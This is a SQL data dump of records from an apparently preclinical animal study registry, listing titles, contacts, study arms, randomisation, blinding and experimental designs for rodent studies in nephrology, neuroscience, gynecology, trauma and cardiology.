	(9049,242,'study_arms','[{\"type\":\"other\",\"number\":\"30\",\"intervention\":\"non-calcifying in open position, low flow speed and low (10), middle (10) or high (10) pulsatility\"},{\"type\":\"other\",\"number\":\"30\",\"intervention\":\"non-calcifying in open position, middle flow speed and low (10), middle (10) or high (10) pulsatility\"},{\"type\":\"other\",\"number\":\"30\",\"intervention\":\"non-calcifying in open position, high flow speed and low (10), middle (10) or high (10) pulsatility\"},{\"type\":\"other\",\"number\":\"30\",\"intervention\":\"non-calcifying in closed position, low flow speed and low (10), middle (10) or high (10) pulsatility\"},{\"type\":\"other\",\"number\":\"30\",\"intervention\":\"non-calcifying in closed position, middle flow speed and low (10), middle (10) or high (10) pulsatility\"},{\"type\":\"other\",\"number\":\"30\",\"intervention\":\"non-calcifying in closed position, high flow speed and low (10), middle (10) or high (10) pulsatility\"},{\"type\":\"other\",\"number\":\"30\",\"intervention\":\"non-calcifying in prolapse position, low flow speed and low (10), middle (10) or high (10) pulsatility\"},{\"type\":\"other\",\"number\":\"30\",\"intervention\":\"non-calcifying in prolapse position, middle flow speed and low (10), middle (10) or high (10) pulsatility\"},{\"type\":\"other\",\"number\":\"30\",\"intervention\":\"non-calcifying in prolapse position, high flow speed and low (10), middle (10) or high (10) pulsatility\"},{\"type\":\"other\",\"number\":\"30\",\"intervention\":\"calcifying in open position, low flow speed and low (10), middle (10) or high (10) pulsatility\"},{\"type\":\"other\",\"number\":\"30\",\"intervention\":\"calcifying in open position, middle flow speed and low (10), middle (10) or high (10) pulsatility\"},{\"type\":\"other\",\"number\":\"30\",\"intervention\":\"calcifying in open position, high flow speed and low (10), middle (10) or high (10) pulsatility\"},{\"type\":\"other\",\"number\":\"30\",\"intervention\":\"calcifying in closed position, low flow speed and low (10), middle (10) or high (10) pulsatility\"},{\"type\":\"other\",\"number\":\"30\",\"intervention\":\"calcifying in closed position, middle flow speed and low (10), middle (10) or high (10) pulsatility\"},{\"type\":\"other\",\"number\":\"30\",\"intervention\":\"calcifying in closed position, high flow speed and low (10), middle (10) or high (10) pulsatility\"},{\"type\":\"other\",\"number\":\"30\",\"intervention\":\"calcifying in prolapse position, low flow speed and low (10), middle (10) or high (10) pulsatility\"},{\"type\":\"other\",\"number\":\"30\",\"intervention\":\"calcifying in prolapse position, middle flow speed and low (10), middle (10) or high (10) pulsatility\"},{\"type\":\"other\",\"number\":\"30\",\"intervention\":\"calcifying in prolapse position, high flow speed and low (10), middle (10) or high (10) pulsatility\"}]','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9050,242,'application_number','\"AVD1160020198830\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9051,242,'has_embargo','\"no\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9052,242,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9053,243,'title','\"Lactobacillus rhamnosus L34 Attenuates Chronic Kidney Disease in 5\\/6 Nephrectomy Mouse Model Through the Excretion of Anti-inflammatory Molecules\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9054,243,'contact_name','\"Somkanya Tungsanga\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9055,243,'contact_role','\"Principle Investigator\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9056,243,'contact_email','\"s.tungsanga@gmail.com\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9057,243,'study_centre','[{\"name\":\"Faculty of Medicine, Chulalongkorn University\",\"city\":\"Bangkok\",\"country\":\"TH\"}]','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9058,243,'financial_support','[\"grants\"]','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9059,243,'start_date','\"2020-03-01\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9060,243,'end_date','\"2021-04-30\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9061,243,'study_status','\"completed_but_not_published\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9062,243,'research_field','\"Nephrology\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9063,243,'hypothesis','\"Could Lactobacillus rhamnosus L34 Attenuates Chronic Kidney Disease Progression in 5\\/6 Nephrectomy Mouse Model?\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9064,243,'intervention_type','\"delivery_method\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9065,243,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9066,243,'primary_readout_parameter','\"Renal fibrosis area after 20 weeks\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9067,243,'secondary_readout_parameter','\"Gut-derived uremic toxins\\nInflammatory markers\\nIntestinal tight junction integrity\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9068,243,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9069,243,'species','\"mouse\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9070,243,'strain','\"C57BL\\/6 mice\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9071,243,'sex','\"male\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9072,243,'experimental_design','\"Eight-week-old male C57BL\\/6 mice were undergone 5\\/6 nephrectomy.\\nThen, the 5\\/6 nephrectomized mice were randomly divided into 2 groups with allocation concealment, the probiotics gavage (5\\/6Nx L34) group and the phosphate buffer solution (PBS) administration control (5\\/6Nx PBS) group. Another group of mice were were sham operated to identify renal vessel before abdominal closure (Sham group). At 10 weeks after 5\\/6Nx in the first two groups or after sham in the sham group, 50 \\u00b5L of blood was collected through tail vein nicking and urine was collected in metabolic cages (Hatteras Instruments, NC, USA). At 20 weeks post-5\\/6Nx, blood sample were collected with cardiac puncture from all mice under isoflurane anesthesia. The animals were sacrifice thereafter.\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9073,243,'sample_size_calculation','\"yes\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9074,243,'sum_of_animals','\"14\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9075,243,'study_arms','[{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"5\\/6Nx + Lactobacillus rhamnosus L34 probiotic\"},{\"type\":\"control\",\"number\":\"7\",\"intervention\":\"5\\/6Nx + phosphate buffer solution\"},{\"type\":\"sham\",\"number\":\"5\",\"intervention\":\"None\"}]','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9076,243,'randomisation','\"yes\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9077,243,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9078,243,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9079,243,'investigators_blinded_intervention','\"yes_partially\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9080,243,'yes_blinded_intervention_how_details','\"The investigator who performed the gavage of treatment or control know the allocation.\\nOther investigators are blinded.\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9081,243,'investigators_blinded_assessment','\"yes\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9082,243,'yes_blinded_assessment_partially_details','\"The investigators who collect blood and urine samplings and who analyze data were blinded.\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9083,243,'placebo_controlled','\"yes\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9084,243,'application_number','\"CU-ACUP No. 018\\/2562\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9085,243,'has_embargo','\"no\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9086,240,'secondary_readout_parameter','\"Macroscopical wound healing process\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9087,240,'short_title','\"Snakehead fish and acute wound healing of hyperglycemic rats\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9088,240,'sample_size_calculation_details','\"Using Federer\'s Formula  (Federer WT. Experimental design, theory, and application, 1967)\\n\\n(t-1)(n-1) &gt;=15\\n5(n-1) &gt;=15\\n5n &gt;= 20\\nn &gt;= 4\\n\\n t= number of group treatment = 6 (day 0, 3,10 in 2 groups)\\nn = number of sample\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9089,195,'investigators_blinded_assessment','\"yes\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9090,195,'yes_blinded_assessment_partially_details','\"Yes\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9091,195,'sum_of_animals','\"32\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9092,244,'title','\"Tetrabenazine-induced hypolocomotion in rats repeteadly (10 days) treated with PDE10A inhibitor MP-10\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9093,244,'short_title','\"MP-10 repetead (10 days)\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9094,244,'contact_name','\"Ilya Sukhanov\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9095,244,'contact_role','\"research group supervisor\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9096,244,'contact_email','\"ilia.sukhanov@gmail.com\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9097,244,'study_centre','[{\"name\":\"Institute of Pharmacology, Pavlov First Saint Petersburg State Medical University\",\"city\":\"Saint Petersburg\",\"country\":\"RU\"}]','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9098,244,'financial_support','[\"other\"]','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9099,244,'other_financial_support','\"No support\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9100,244,'start_date','\"2021-07-04\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9101,244,'end_date','\"2022-02-01\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9102,244,'study_status','\"completed_but_not_published\"','2022-03-31 13:23:59','2022-03-31 13:24:05'),
	(9103,244,'research_field','\"neuroscience\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9104,244,'hypothesis','\"Repetead treatment with PDE10A inhibitors results in the development of tolerance to the stimulate action of these compounds\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9105,244,'intervention_type','\"compound\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9106,244,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9107,244,'primary_readout_parameter','\"efficacy based on horizontal locomotor activity (ambulation) after acute administration of MP-10 (Pre-clinical registry ID: PCTE0000182) and changes effects of the MP-10 (Pre-clinical registry ID: PCTE0000173) following 5-day treatment\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9108,244,'secondary_readout_parameter','\"No\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9109,244,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9110,244,'species','\"rat\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9111,244,'strain','\"Wistar\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9112,244,'sex','\"male\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9113,244,'experimental_design','\"The rats treated with tetrabenazine (3 mg\\/kg, i.p.) 30 min before the start of locomotor activity assessment\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9114,244,'sample_size_calculation','\"yes\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9115,244,'sample_size_calculation_details','\"Given the results of a pilot experiment (using a five-day MP-10 treatment regimen) and absence of any evidence for sensitization associated with the repeated administration of PDE10 inhibitors, we have used one-tailed tests. For alpha=0.025 and beta=0.8, required sample size was estimated to be 25 rats per group. Second, we have used the results of a pilot experiment with repeated administration of MP-10 and defined the expected effect as the difference between the activity scores in groups treated with repeated vehicle + acute MP-10 vs repeated MP-10 and acute MP-10. For alpha=0.025 and beta=0.8, required sample size was estimated to be 41 rats per group. Having 25 rats per group would yield power of 0.59. However, one should take into account that the pilot study was done with a shorter treatment (5 days) and the treatment duration was doubled for the main experiment.\\nIn concordance with block design of randomization each block includes 21 rats. Taking in account that 4 blocks (84 rats in total) is closer to 75 rats than 3 blocks (63 rats in total) we chose 4 blocks.\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9116,244,'sum_of_animals','\"84\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9117,244,'study_arms','[{\"type\":\"control\",\"number\":\"28\",\"intervention\":\"Vehicle treated + Vehicle during test\"},{\"type\":\"control\",\"number\":\"28\",\"intervention\":\"Vehicle treated + MP-10 (3 mg\\/kg) during test\"},{\"type\":\"intervention\",\"number\":\"28\",\"intervention\":\"MP-10 (3 mg\\/kg) treated + MP-10 (3 mg\\/kg) during test\"}]','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9118,244,'randomisation','\"yes\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9119,244,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9120,244,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9121,244,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9122,244,'yes_blinded_intervention_partially_details','\"1.\\tInvestigator A lists # of rats in the google sheets file and uses block randomization divided rats into 3 groups (negative control, positive control, experimental);\\n2.\\tInvestigator A shares the file with Investigator B;\\n3.\\tOn each day of pharmacological treatment, either Investigator A or Investigator B prepares solutions and fills syringes with solutions. The procedures are performed out of the room where injections are given. Either Investigator A or Investigator B gives the filled syringes to Investigator C, who injects the animals with the solutions, and designates # of animals, that should be injected with provided syringe;\\n4.\\tOn test day, following injections Investigator C put the animals in the experimental apparatus \\u2018Actometer\\u2019;\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9123,244,'investigators_blinded_assessment','\"yes\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9124,244,'yes_blinded_assessment_partially_details','\"5.\\tFollowing the end of experimental session, Investigator C takes raw data from PC and put the information in the other google sheets file;\\n6.\\tInvestigator \\u0421 performs secondary data analysis.\\n\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9125,244,'placebo_controlled','\"yes\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9126,244,'link_to_data','\"No\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9127,244,'has_embargo','\"yes\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9128,244,'original_animal_ethics_committee_application','\"First Pavlov State Saint Petersburg Medical University, # 100_ 81_012017\\/3_900\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9129,139,'sample_size_calculation_details','\"as stated in question 15 - this is secondary analysis of previously completed study to apply the ethics principal of reduce\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9130,246,'title','\"Effects of Tetragonula Aff. Biroi Propolis Extract on Lesion Growth, Apoptotic and Inflammatory Activity of the Rat Endometriosis Tissue  \"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9131,246,'short_title','\"Effects of Sulawesi Propolis Extract on Lesion Growth, Apoptotic and Inflammatory Activity of the Rat Endometriosis Tissue\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9132,246,'contact_name','\"Herbert Situmorang\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9133,246,'contact_role','\"Main researcher\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9134,246,'contact_email','\"herbert.situmorang@ui.ac.id\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9135,246,'study_centre','[{\"name\":\"Animal Research Facilities, Indonesia Medical Education and Research Institute (IMERI), Faculty of Medicine, University of Indonesia \",\"city\":\"Jakarta\",\"country\":\"ID\"}]','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9136,246,'financial_support','[\"investigator_driven\"]','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9137,246,'start_date','\"2019-11-01\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9138,246,'end_date','\"2020-05-18\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9139,246,'study_status','\"completed_but_not_published\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9140,246,'research_field','\"Obstetrics and Gynecology\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9141,246,'hypothesis','\"Propolis inhibits lesion growth, increases apoptotic activity, and reduces the inflammatory activity of rat\'s endometriosis tissue\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9142,246,'intervention_type','\"compound\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9143,246,'study_stage','\"study_stage_1_value\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9144,246,'exclusive_animal_use','\"yes\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9145,246,'species','\"rat\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9146,246,'sex','\"female\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9147,246,'sum_of_animals','\"60\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9148,246,'sample_size_calculation','\"yes\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9149,246,'study_arms','[{\"type\":\"control\",\"number\":\"5\",\"intervention\":\"Negative Control (Water) for 2 weeks\"},{\"type\":\"control\",\"number\":\"5\",\"intervention\":\"Negative Control (Water) for 4 weeks\"},{\"type\":\"control\",\"number\":\"5\",\"intervention\":\"Negative Control (Water) for 6 weeks\"},{\"type\":\"control\",\"number\":\"5\",\"intervention\":\"Positive Control (Dienogest 1mg\\/kg bw\\/d) for 2 weeks\"},{\"type\":\"control\",\"number\":\"5\",\"intervention\":\"Positive Control (Dienogest 1mg\\/kg bw\\/d) for 4 weeks\"},{\"type\":\"control\",\"number\":\"5\",\"intervention\":\"Positive Control (Dienogest 1mg\\/kg bw\\/d) for 6 weeks\"},{\"type\":\"intervention\",\"number\":\"5\",\"intervention\":\"Propolis 50 mg\\/kg bw\\/d for 2 weeks\"},{\"type\":\"intervention\",\"number\":\"5\",\"intervention\":\"Propolis 50 mg\\/kg bw\\/d for 4 weeks\"},{\"type\":\"intervention\",\"number\":\"5\",\"intervention\":\"Propolis 50 mg\\/kg bw\\/d for 6 weeks\"},{\"type\":\"intervention\",\"number\":\"5\",\"intervention\":\"Propolis 100 mg\\/kg bw\\/d for 2 weeks\"},{\"type\":\"intervention\",\"number\":\"5\",\"intervention\":\"Propolis 100 mg\\/kg bw\\/d for 4 weeks\"},{\"type\":\"intervention\",\"number\":\"5\",\"intervention\":\"Propolis 100 mg\\/kg bw\\/d for 6 weeks\"}]','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9150,246,'randomisation','\"yes\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9151,246,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9152,246,'investigators_blinded_intervention','\"no\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9153,246,'investigators_blinded_assessment','\"yes\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9154,246,'placebo_controlled','\"yes\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9155,246,'has_embargo','\"no\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9156,246,'application_number','\"Faculty of Medicine University of Indonesia, KET-227\\/UN2.F1\\/ETIK\\/PPM.00.02\\/2020. \"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9157,246,'strain','\"Wistar\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9158,246,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9159,246,'primary_readout_parameter','\"Efficacy based on measurement of lesion area (macroscopic), inflammatory activity and apoptotic activity (mRNA expression of  IL-1\\u03b2, PGES-2, BAX, BCL-2, and caspase-3) after administration of Propolis 50 mg\\/kg bw\\/d and Propolis 100 mg\\/kg bw\\/d.\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9160,246,'yes_blinded_assessment_partially_details','\"All investigators who did the laparotomy and the assessments of all outcomes did not aware of the treatment arrangement. Only investigators who treated the rats know about the treatment arrangement.\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9161,246,'experimental_design','\"We used 60 Wistar rats for this study. First, laparotomy was performed in order to create endometriosis model. Thirty days following the first laparotomy, a second laparotomy was performed to ensure the formation of endometriosis. Then, the rats were divided into 12 groups, each treated with water (negative control), Dienogest 1 mg\\/kg bw\\/d (positive control), Propolis 50 mg\\/kg bw\\/d, and Propolis 100 mg\\/kg bw\\/d with the duration of 2 weeks, 4 weeks, and 6 weeks. Finally, the third laparotomy was performed on indicated time points after treatment in each group was complete. Lesion area (macroscopic), inflammatory activity, and apoptotic activity were evaluated.\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9162,246,'sample_size_calculation_details','\"The sample size was determined by Federer Formula: (t-1)(n-1) \\u2265 15, with t is the number of treatments and n is the minimum number of samples. \\nFor this study, the number for variable t that we used was 6. This corresponds to 6 intervention groups. Therefore, with Federer Formula, 5 is the required minimum samples per group.\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9163,246,'secondary_readout_parameter','\"Alteration of rat\'s estrous cycle after administration of Propolis 50 mg\\/kg bw\\/d and Propolis 100 mg\\/kg bw\\/d.\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9164,247,'has_embargo','\"yes\"','2022-03-31 13:24:00','2022-03-31 13:24:01'),
	(9165,247,'application_number','\"20-9765-1-04\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9166,247,'placebo_controlled','\"yes\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9167,247,'investigators_blinded_intervention','\"yes_partially\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9168,247,'yes_blinded_intervention_how_details','\"All investigators involved are blinded to the allocation of the animals, until the animal is fully cannulated. After this period the allocation to the experimental group will become known to all investigators.\"','2022-03-31 13:24:00','2022-03-31 13:24:01'),
	(9169,247,'investigators_blinded_assessment','\"no\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9170,247,'randomisation','\"yes\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9171,247,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9172,247,'details_randomisation','\"block_randomisation\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9173,247,'title','\"Targeting HMGB1 to reduce platelet dysfunction in trauma-induced coagulopathy.\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9174,247,'contact_name','\"Pieter Sloos\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9175,247,'contact_role','\"PhD student\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9176,247,'contact_email','\"p.h.sloos@amsterdamumc.nl\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9177,247,'study_centre','[{\"name\":\"Laboratory of Experimental Intensive Care and Anesthesiology (LEICA), Amsterdam UMC location AMC\",\"city\":\"Amsterdam\",\"country\":\"NL\"}]','2022-03-31 13:24:00','2022-03-31 13:24:01'),
	(9178,247,'financial_support','[\"investigator_driven\",\"grants\"]','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9179,247,'start_date','\"2021-09-09\"','2022-03-31 13:24:00','2022-03-31 13:24:01'),
	(9180,247,'end_date','\"2022-09-09\"','2022-03-31 13:24:00','2022-03-31 13:24:01'),
	(9181,247,'study_status','\"active\"','2022-03-31 13:24:00','2022-03-31 13:24:02'),
	(9182,247,'research_field','\"Trauma, intensive care, coagulation\"','2022-03-31 13:24:00','2022-03-31 13:24:01'),
	(9183,247,'hypothesis','\"HMGB1 antibody and recombinant thrombomodulin (rTM) individually and synergistically improve trauma induced coagulopathy (TIC) in a murine model of traumatic shock\"','2022-03-31 13:24:00','2022-03-31 13:24:01'),
	(9184,247,'intervention_type','\"compound\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9185,247,'study_stage','\"study_stage_2_value\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9186,247,'primary_readout_parameter','\"Trauma-induced coagulopathy \"','2022-03-31 13:24:00','2022-03-31 13:24:01'),
	(9187,247,'secondary_readout_parameter','\"Organ edema, measured with wet\\/dry ratios; shock severity and hemodynamic parameters; mortality, plasma coagulation and\\/or inflammation markers, measured with ELISA; \"','2022-03-31 13:24:00','2022-03-31 13:24:01'),
	(9188,247,'exclusive_animal_use','\"yes\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9189,247,'species','\"mouse\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9190,247,'strain','\"SV129, Janvier Labs (Le Genest-Saint-Isle, France) \"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9191,247,'sex','\"male\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9192,247,'experimental_design','\"Mice receive induction anesthesia with 3-5% sevoflurane in an induction chamber, followed by a one-time intraperitoneal injection of fentanyl (Hameln, Gernamy) in a dose of 0.06mg\\/kg. Under spontaneous breathing oxygen and sevoflurane (Isoflutek, Karizoo, Spain) supplemented medical air, tracheostomy is performed and mice are connected to a mechanical ventilator (VentElite, Harvard Apparatus, USA). Mice are mechanically ventilated with tidal volumes of 7.2ml\\/kg, respiratory rate of 190 breaths per minute, inspiratory:expiratory ratio of 1:1.5 and FiO2 of 38%. An inspiratory sigh of 20% will be performed every 30 minutes  to maintain airway patency. \\nThe right carotid artery is cannulated to monitor arterial blood pressure. The right jugular vein is cannulated after which mice receive intravenous 20ml\\/kg maintenance fluids consisting of Ringer\\u2019s lactate supplemented with 0.5% glucose, 0.2% sodium bicarbonate and 0.12mg\\/kg fentanyl (Pump 11 Pico Plus Elite, Harvard Apparatus, USA). \\nAfter cannulation is completed, mice are randomly allocated to one of the experimental groups (N=12 per group).\\nTrauma consist of bilateral lower limb fractures inflicted with two hemostatic forceps\\u2019 followed by median laparotomy. Crush injury of the small intestine is inflicted by clamping the small intestine five times for two seconds. Liver injury is achieved by clamping 1cm of the right lobe for two seconds. Following trauma the abdomen is closed. To initiate shock blood is drawn through the carotid artery cannula to achieve a target mean arterial pressure (MAP) of 20-30mmHg. Hemodilution is performed by infusion of Ringer\'s lactate (400ul). \\nAfter the trauma and shock period, anti-HMGB1, rhTM or vehicle is administered IV. 10min after initiation of trauma and shock, the distal end of the tail is cut off and bleeding is monitored for 20 minutes. After 30 minutes of shock a terminal blood draw is performed though the carotid artery or via heart puncture and organs are collected, after which the material is processed immediately.\\n\\nOptimal dose of both anti-HMGB1 antibody and rhTM is determined in a dose-response study. Three different doses are tested of both compounds. The dose-response studies are not further described here. \\n\\n\"','2022-03-31 13:24:00','2022-03-31 13:24:02'),
	(9193,247,'sample_size_calculation','\"yes\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9194,247,'sample_size_calculation_details','\"Sample size is calculated based on earlier studies were anti-HMGB1 is used in animal models. To detect a difference between five groups using a one-way ANOVA, corrected for multiple testing, with 80% power and a significance level of 5% (V=6.55, SD=3.6) 9 animals are needed per group. With a dropout rate of 25% groups size will be 12 animals per group.\"','2022-03-31 13:24:00','2022-03-31 13:24:01'),
	(9195,247,'study_arms','[{\"type\":\"control\",\"number\":\"12\",\"intervention\":\"Ventilation + vehicle \"},{\"type\":\"sham\",\"number\":\"12\",\"intervention\":\"Trauma + shock + vehicle\"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Trauma + shock + HMGB1 antibody\"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Trauma + shock + rhTM\"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Trauma + shock + HMGB1 antibody + rhTM\"}]','2022-03-31 13:24:00','2022-03-31 13:24:02'),
	(9196,247,'sum_of_animals','\"60 \"','2022-03-31 13:24:00','2022-03-31 13:24:02'),
	(9197,248,'financial_support','[\"investigator_driven\"]','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9198,248,'start_date','\"2021-08-28\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9199,248,'end_date','\"2021-08-31\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9200,248,'study_status','\"not_started\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9201,248,'research_field','\"cardiology\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9202,248,'hypothesis','\"To evaluate and compare the effect of Ocimum Sanctum oil (OSO) and Peppermint oil (PPO) in doxorubicin induced cardiotoxicity in rats, in terms of ECG and cardiac enzymes changes\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9203,248,'intervention_type','\"compound\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9204,248,'study_stage','\"study_stage_1_value\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9205,248,'primary_readout_parameter','\"Power lab-based ECG\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9206,248,'secondary_readout_parameter','\"cardiac enzymes (Creatine Kinase (CK)) and Serum Troponin\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9207,248,'exclusive_animal_use','\"yes\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
